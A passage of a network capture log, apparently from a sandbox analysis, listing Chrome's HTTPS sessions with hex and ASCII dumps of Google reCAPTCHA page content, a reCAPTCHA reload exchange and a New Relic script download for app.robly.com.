20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 Data Ascii: 1d14<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face
2024-04-25 13:30:13 UTC	1255	IN	Data Raw: 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e Data Ascii: v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fon
2024-04-25 13:30:13 UTC	1255	IN	Data Raw: 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 Data Ascii: 20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E0
2024-04-25 13:30:13 UTC	1255	IN	Data Raw: 55 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b Data Ascii: U+04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-25 13:30:13 UTC	1255	IN	Data Raw: 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b Data Ascii: ce { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+
2024-04-25 13:30:13 UTC	1255	IN	Data Raw: 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 Data Ascii: tic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight
2024-04-25 13:30:13 UTC	813	IN	Data Raw: 7d 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 56 36 5f 38 35 71 70 63 32 58 66 32 73 62 65 33 78 54 6e 52 74 65 37 6d 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 48 61 6c 5a 6a 74 59 35 74 67 38 34 42 4d 45 52 68 50 64 49 72 77 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f Data Ascii: }</style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/styles__ltr.css"><script nonce="HalZjtY5tg84BMERhPdIrw" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.co
2024-04-25 13:30:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49733	172.253.124.147	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:13 UTC	860	OUT	POST /recaptcha/api2/reload?k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 10271 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-protobuffer Accept: / Origin: https://www.google.com X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:13 UTC	10271	OUT	Data Raw: 0a 18 56 36 5f 38 35 71 70 63 32 58 66 32 73 62 65 33 78 54 6e 52 74 65 37 6d 12 f9 0e 30 33 41 46 63 57 65 41 34 42 6e 55 79 79 44 42 55 2d 50 48 76 41 71 73 31 78 7a 57 7a 79 46 6e 51 65 44 47 57 70 65 71 45 6a 52 39 4e 4b 4d 43 43 79 53 4f 42 47 79 57 42 5f 6d 36 79 31 6f 41 54 64 43 6b 67 34 72 4d 73 6d 65 57 69 31 32 46 5a 34 56 6f 56 4e 7a 6d 6b 33 71 46 5f 4d 68 7a 33 75 2d 61 6b 67 79 7a 68 4c 76 77 76 79 44 71 4d 45 61 4a 49 69 67 57 78 38 78 57 63 4e 55 6d 31 74 56 33 37 78 4d 50 54 66 57 4b 4a 41 51 44 41 39 4e 47 61 52 69 36 6a 6d 59 57 73 5a 6a 38 4d 6b 73 6b 73 39 35 45 4f 6a 2d 4e 59 79 6b 6b 63 38 46 56 4c 4c 61 33 41 5f 76 62 32 35 64 6a 6a 55 37 31 4c 49 6a 6d 61 5f 6c 69 76 6f 44 4a 7a 73 77 55 68 32 72 75 34 2d 43 62 79 61 4c 53 68 58 Data Ascii: V6_85qpc2Xf2sbe3xTnRte7m03AFcWeA4BnUyyDBU-PHvAqs1xzWzyFnQeDGWpeqEjR9NKMCCySOBGyWB_m6y1oATdCkg4rMsmeWi12FZ4VoVNzmk3qF_Mhz3u-akgyzhLvwvyDqMEaJIigWx8xWcNUm1tV37xMPTfWKJAQDA9NGaRi6jmYWsZj8Mksks95EOj-NYykkc8FVLLa3A_vb25djjU71LIjma_livoDJzswUh2ru4-CbyaLShX
2024-04-25 13:30:13 UTC	696	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Thu, 25 Apr 2024 13:30:13 GMT Expires: Thu, 25 Apr 2024 13:30:13 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: _GRECAPTCHA=09AKPP-6d-m3A0uq6XaK5Wrd6tGGlp9Fkh5p9nGyCpd7x0tEHkAqtjhRdmG_c1Q5I-I0-K-xolAk4KQ5t-owfrcq4;Path=/recaptcha;Expires=Tue, 22-Oct-2024 13:30:13 GMT;Secure;HttpOnly;Priority=HIGH;SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-25 13:30:13 UTC	559	IN	Data Raw: 32 33 31 0d 0a 29 5d 7d 27 0a 5b 22 72 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 37 77 37 33 6f 58 6b 51 37 4a 74 79 76 34 59 4e 7a 59 31 6c 5f 52 6b 45 65 39 42 53 61 67 55 4c 67 67 72 4f 63 49 4c 63 79 34 6e 76 4c 50 54 39 70 76 70 67 41 31 33 2d 76 71 2d 68 6a 32 42 63 70 75 74 4f 6a 71 47 6b 30 70 58 4d 48 49 35 79 75 59 50 46 62 7a 6b 6b 2d 6e 44 47 6e 32 35 65 79 2d 5f 68 33 68 6f 6c 6c 46 4d 74 56 75 75 38 71 5a 61 6f 55 4d 53 76 33 70 52 73 66 69 6f 57 2d 53 61 56 53 68 2d 78 73 4e 57 59 70 31 6f 36 49 41 6e 61 4f 71 43 37 51 58 4a 6c 41 35 49 75 2d 37 77 44 34 51 4a 30 58 73 39 34 68 54 79 50 47 71 42 31 65 7a 6a 44 55 79 71 4d 32 6e 55 46 4a 4f 54 73 56 72 54 6c 4b 6c 51 79 64 55 4f 71 4a 64 6b 34 35 4b 5a 34 6c 4a 45 33 71 55 45 36 50 53 4f Data Ascii: 231)]}'["rresp","03AFcWeA7w73oXkQ7Jtyv4YNzY1l_RkEe9BSagULggrOcILcy4nvLPT9pvpgA13-vq-hj2BcputOjqGk0pXMHI5yuYPFbzkk-nDGn25ey-_h3hollFMtVuu8qZaoUMSv3pRsfioW-SaVSh-xsNWYp1o6IAnaOqC7QXJlA5Iu-7wD4QJ0Xs94hTyPGqB1ezjDUyqM2nUFJOTsVrTlKlQydUOqJdk45KZ4lJE3qUE6PSO
2024-04-25 13:30:13 UTC	9	IN	Data Raw: 55 44 42 49 77 54 49 0d 0a Data Ascii: UDBIwTI
2024-04-25 13:30:13 UTC	1255	IN	Data Raw: 61 34 31 0d 0a 68 79 35 6e 77 44 52 67 58 61 64 38 52 6a 43 51 45 49 71 76 6c 6c 74 30 53 4a 63 34 4b 78 71 73 41 44 58 56 43 57 78 30 41 4b 62 6e 39 38 72 44 7a 63 67 68 7a 72 57 51 61 70 4d 72 2d 70 4a 63 4e 66 5a 38 66 50 61 39 31 68 66 59 6d 7a 4b 4a 45 4c 4a 79 37 30 51 73 42 6f 6b 78 43 57 67 68 69 7a 54 32 43 55 77 79 72 74 59 6e 33 4a 4f 71 55 44 59 75 41 56 73 38 39 6f 6a 61 49 45 66 63 78 71 55 39 4b 4f 48 71 38 33 50 34 55 6e 78 32 58 4a 7a 6b 39 76 63 4a 68 63 56 36 55 74 58 6d 70 49 50 4a 46 4f 33 38 38 49 37 4d 59 5a 6f 47 4b 6f 69 74 7a 43 31 51 41 76 32 6e 69 62 53 36 4a 37 48 6a 59 74 68 6d 66 4f 79 65 65 36 4d 43 6b 47 57 4e 63 49 6a 41 63 72 4f 71 74 34 57 41 77 65 41 49 38 35 4b 54 2d 51 64 67 76 36 57 4f 44 41 58 6a 4a 32 39 67 5a 6a Data Ascii: a41hy5nwDRgXad8RjCQEIqvllt0SJc4KxqsADXVCWx0AKbn98rDzcghzrWQapMr-pJcNfZ8fPa91hfYmzKJELJy70QsBokxCWghizT2CUwyrtYn3JOqUDYuAVs89ojaIEfcxqU9KOHq83P4Unx2XJzk9vcJhcV6UtXmpIPJFO388I7MYZoGKoitzC1QAv2nibS6J7HjYthmfOyee6MCkGWNcIjAcrOqt4WAweAI85KT-Qdgv6WODAXjJ29gZj
2024-04-25 13:30:13 UTC	1255	IN	Data Raw: 43 53 36 39 62 6d 79 43 6a 68 47 4a 71 7a 67 49 48 39 35 41 69 72 58 33 4c 37 4c 4b 58 63 33 31 2d 6f 6d 35 68 7a 43 4a 46 4e 55 7a 2d 32 73 4a 41 76 6c 6f 4b 4c 44 59 4e 78 35 6c 68 44 79 30 61 46 62 4a 51 4a 30 39 63 5f 31 4c 67 6f 50 6e 43 43 75 78 77 51 51 6c 37 4a 59 46 45 75 46 72 36 64 4a 47 69 32 61 56 53 4f 38 36 34 66 33 47 55 54 4b 64 5a 32 6e 53 33 64 7a 36 49 6e 4e 77 69 62 74 73 45 61 30 76 6b 2d 58 67 42 52 4f 6f 64 72 38 38 61 4f 4a 6f 32 57 76 4f 4e 55 42 59 39 7a 49 49 31 75 61 79 51 6c 73 79 30 32 52 56 6e 5a 76 6f 46 6e 57 32 48 77 54 30 47 68 45 4e 67 45 2d 39 45 61 74 51 39 4c 59 4b 61 52 44 37 64 55 75 33 65 79 4b 6a 4c 71 35 35 67 31 71 36 78 68 4c 42 49 72 4f 35 4c 42 64 44 42 64 4c 38 50 68 43 55 6b 7a 46 4a 77 46 6c 58 69 6a 47 Data Ascii: CS69bmyCjhGJqzgIH95AirX3L7LKXc31-om5hzCJFNUz-2sJAvloKLDYNx5lhDy0aFbJQJ09c_1LgoPnCCuxwQQl7JYFEuFr6dJGi2aVSO864f3GUTKdZ2nS3dz6InNwibtsEa0vk-XgBROodr88aOJo2WvONUBY9zII1uayQlsy02RVnZvoFnW2HwT0GhENgE-9EatQ9LYKaRD7dUu3eyKjLq55g1q6xhLBIrO5LBdDBdL8PhCUkzFJwFlXijG
2024-04-25 13:30:13 UTC	122	IN	Data Raw: 75 6f 56 56 67 63 67 51 45 49 31 6a 70 6c 43 77 4a 70 32 65 41 4f 57 4a 58 54 4e 30 37 4f 42 38 62 6f 55 6a 34 30 4a 72 76 58 68 4b 6c 42 55 59 55 61 67 35 58 55 43 78 49 45 34 56 4d 36 59 78 55 6a 59 6c 4e 64 4a 65 37 36 78 74 67 71 76 5a 41 53 41 58 35 30 72 79 72 6a 4c 4f 59 4c 34 76 6a 4a 53 56 75 78 48 38 54 6b 79 6b 53 32 38 68 45 77 65 47 56 56 6a 44 0d 0a Data Ascii: uoVVgcgQEI1jplCwJp2eAOWJXTN07OB8boUj40JrvXhKlBUYUag5XUCxIE4VM6YxUjYlNdJe76xtgqvZASAX50ryrjLOYL4vjJSVuxH8TkykS28hEweGVVjD
2024-04-25 13:30:13 UTC	1255	IN	Data Raw: 31 35 61 32 0d 0a 6c 32 76 5f 4d 54 44 39 48 72 56 62 5f 6d 73 6b 4a 49 35 4c 55 66 6a 61 6a 67 6b 58 62 67 31 72 37 34 30 77 70 50 74 75 48 55 4c 76 35 55 31 34 52 75 4b 66 30 38 44 35 45 37 43 39 31 46 6e 34 41 34 53 71 4c 67 4a 68 32 6d 42 50 36 7a 64 78 56 36 54 79 66 72 56 30 78 41 55 4c 46 42 59 55 77 75 5f 53 6e 2d 34 6a 74 53 75 49 32 66 41 72 2d 67 57 4f 55 70 61 6f 55 7a 73 71 4d 71 79 55 5f 74 7a 63 36 49 43 36 5f 4b 65 53 70 4a 69 63 64 58 43 54 44 6b 48 71 4b 36 66 54 6d 51 30 69 34 35 55 46 79 78 5f 52 42 30 50 42 6d 4c 67 7a 6d 52 71 57 69 6b 53 53 53 31 49 61 4e 2d 5a 62 52 54 77 5a 4f 58 76 45 59 4b 75 32 59 74 6e 39 74 50 44 65 41 41 43 5a 4a 75 55 47 55 35 56 43 74 7a 6a 74 70 6c 67 4f 7a 45 4d 6b 65 6c 4f 36 42 49 70 47 35 4e 39 53 4c Data Ascii: 15a2l2v_MTD9HrVb_mskJI5LUfjajgkXbg1r740wpPtuHULv5U14RuKf08D5E7C91Fn4A4SqLgJh2mBP6zdxV6TyfrV0xAULFBYUwu_Sn-4jtSuI2fAr-gWOUpaoUzsqMqyU_tzc6IC6_KeSpJicdXCTDkHqK6fTmQ0i45UFyx_RB0PBmLgzmRqWikSSS1IaN-ZbRTwZOXvEYKu2Ytn9tPDeAACZJuUGU5VCtzjtplgOzEMkelO6BIpG5N9SL
2024-04-25 13:30:13 UTC	1255	IN	Data Raw: 59 52 69 4c 37 42 48 55 73 69 33 32 42 5a 35 66 5f 6f 6e 32 69 50 77 75 32 6d 32 56 44 68 72 2d 34 31 50 44 37 48 6e 55 6d 68 53 5f 49 71 32 76 33 66 30 30 39 69 75 6c 5a 42 56 65 66 6b 4a 59 48 77 30 67 63 43 55 31 74 6d 35 74 58 69 79 4d 74 4c 44 6c 68 76 6b 2d 49 30 6a 4c 49 73 70 58 75 71 33 38 61 76 44 6c 58 2d 62 4a 77 72 31 42 73 45 6b 73 66 6b 49 53 57 37 6e 46 32 55 46 63 45 4d 69 53 48 45 52 63 77 66 58 61 78 77 4f 55 4d 51 50 52 63 69 52 5f 75 6f 4d 32 6a 75 76 69 5f 61 46 72 66 54 4b 76 6f 37 72 4a 76 50 58 43 38 32 69 74 54 4e 75 33 76 69 42 51 30 55 5a 36 53 37 5a 73 47 33 30 55 5f 56 4d 36 6c 2d 39 4f 2d 42 74 49 71 57 2d 76 74 5a 2d 65 4d 76 75 47 68 64 68 31 7a 5f 6b 42 74 4b 42 2d 71 36 55 69 50 42 56 68 46 44 56 35 62 34 43 38 31 5a 5a Data Ascii: YRiL7BHUsi32BZ5f_on2iPwu2m2VDhr-41PD7HnUmhS_Iq2v3f009iulZBVefkJYHw0gcCU1tm5tXiyMtLDlhvk-I0jLIspXuq38avDlX-bJwr1BsEksfkISW7nF2UFcEMiSHERcwfXaxwOUMQPRciR_uoM2juvi_aFrfTKvo7rJvPXC82itTNu3viBQ0UZ6S7ZsG30U_VM6l-9O-BtIqW-vtZ-eMvuGhdh1z_kBtKB-q6UiPBVhFDV5b4C81ZZ
2024-04-25 13:30:13 UTC	1255	IN	Data Raw: 36 30 30 2c 5b 22 70 6d 65 74 61 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 2f 6d 2f 30 34 5f 73 76 22 2c 6e 75 6c 6c 2c 32 2c 34 2c 34 5d 2c 5b 22 2f 6d 2f 30 31 39 39 67 22 2c 6e 75 6c 6c 2c 32 2c 34 2c 34 5d 2c 5b 22 2f 6d 2f 30 34 5f 73 76 22 2c 6e 75 6c 6c 2c 32 2c 34 2c 34 5d 2c 5b 22 2f 6d 2f 30 31 35 71 66 66 22 2c 6e 75 6c 6c 2c 32 2c 34 2c 34 5d 2c 5b 22 2f 6d 2f 30 34 5f 73 76 22 2c 6e 75 6c 6c 2c 32 2c 34 2c 34 5d 5d 5d 5d 2c 22 6d 75 6c 74 69 63 61 70 74 63 68 61 22 2c 6e 75 6c 6c 2c 5b 22 62 67 64 61 74 61 22 2c 22 4c 79 39 33 64 33 63 75 5a 32 39 76 5a 32 78 6c 4c 6d 4e 76 62 53 39 71 63 79 39 69 5a 79 39 6d 65 55 4e 47 4d 32 78 74 62 31 39 50 57 57 35 44 58 7a 6c 79 52 31 64 56 52 69 31 44 5a 56 46 32 64 Data Ascii: 600,["pmeta",null,null,null,null,[[["/m/04_sv",null,2,4,4],["/m/0199g",null,2,4,4],["/m/04_sv",null,2,4,4],["/m/015qff",null,2,4,4],["/m/04_sv",null,2,4,4]]]],"multicaptcha",null,["bgdata","Ly93d3cuZ29vZ2xlLmNvbS9qcy9iZy9meUNGM2xtb19PWW5DXzlyR1dVRi1DZVF2d
2024-04-25 13:30:13 UTC	1255	IN	Data Raw: 61 56 43 74 56 65 6e 6c 52 4e 43 74 73 54 79 39 34 4d 54 64 71 4e 55 51 33 64 30 6c 71 63 6d 49 30 61 44 5a 54 53 30 67 31 64 55 49 78 5a 57 52 74 64 57 4e 7a 56 43 74 45 65 6a 4e 71 52 6a 55 78 53 57 35 6a 4c 33 68 34 63 58 52 68 56 56 5a 47 59 32 6c 77 59 58 64 51 62 44 51 31 54 57 6b 30 59 6b 4a 6b 65 56 70 56 62 69 74 77 59 31 5a 6a 64 44 41 78 62 32 35 6c 64 47 4a 4b 57 47 68 42 57 57 56 77 51 54 52 46 4f 56 41 30 5a 58 52 78 4e 6e 4a 76 64 30 6c 47 4b 30 4a 49 65 6b 31 4a 64 46 52 69 65 57 63 78 4e 47 31 57 56 47 74 69 51 6a 4a 4e 62 57 78 76 4d 6a 68 4c 4e 56 6c 77 64 56 68 56 4d 33 45 72 63 47 4e 55 4c 30 78 4d 59 32 63 32 56 6e 4e 6e 53 45 78 54 4b 33 68 74 52 30 70 30 62 58 70 77 4d 45 78 35 52 30 5a 4e 61 47 6f 33 61 32 5a 57 63 45 68 31 65 57 Data Ascii: aVCtVenlRNCtsTy94MTdqNUQ3d0lqcmI0aDZTS0g1dUIxZWRtdWNzVCtEejNqRjUxSW5jL3h4cXRhVVZGY2lwYXdQbDQ1TWk0YkJkeVpVbitwY1ZjdDAxb25ldGJKWGhBWWVwQTRFOVA0ZXRxNnJvd0lGK0JIek1JdFRieWcxNG1WVGtiQjJNbWxvMjhLNVlwdVhVM3ErcGNUL0xMY2c2VnNnSExTK3htR0p0bXpwMEx5R0ZNaGo3a2ZWcEh1eW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49735	162.247.243.39	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:13 UTC	567	OUT	GET /nr-rum-1.257.0.min.js HTTP/1.1 Host: js-agent.newrelic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://app.robly.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://app.robly.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:13 UTC	802	IN	HTTP/1.1 200 OK Connection: close Content-Length: 50934 x-amz-id-2: Nocm5cNYStsY044DPdJuWS2ioa1Oi1KJV4Jc1qmniowHI4GKUNahpNpstxrNeHpoC4PzbI+Bfh8= x-amz-request-id: FQP65J492C3W1GDR Last-Modified: Fri, 19 Apr 2024 00:43:41 GMT ETag: "04045b88714f08119a0e2fcb74624f22" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=31536000, stale-while-revalidate=86400, stale-if-error=86400 x-amz-version-id: hDZawLvU_7lPCCc8KE3sqLucpiUuFFEu Content-Type: application/javascript Server: AmazonS3 Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Thu, 25 Apr 2024 13:30:13 GMT Via: 1.1 varnish X-Served-By: cache-pdk-kfty2130046-PDK X-Cache: HIT X-Cache-Hits: 21 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Strict-Transport-Security: max-age=300
2024-04-25 13:30:13 UTC	1378	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6e 72 2d 72 75 6d 2d 31 2e 32 35 37 2e 30 2e 6d 69 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 5b 22 77 65 62 70 61 63 6b 43 68 75 6e 6b 3a 4e 52 42 41 2d 31 2e 32 35 37 2e 30 2e 50 52 4f 44 22 5d 3d 73 65 6c 66 5b 22 77 65 62 70 61 63 6b 43 68 75 6e 6b 3a 4e 52 42 41 2d 31 2e 32 35 37 2e 30 2e 50 52 4f 44 22 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 37 35 5d 2c 7b 32 35 37 33 3a 28 74 2c 65 2c 6e 29 3d 3e 7b 6e 2e 64 28 65 2c 7b 6f 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 34 32 34 37 29 2c 69 3d 6e 28 31 31 31 37 29 2c 73 3d 6e 28 38 36 37 33 29 2c 61 3d 6e 28 Data Ascii: /! For license information please see nr-rum-1.257.0.min.js.LICENSE.txt /"use 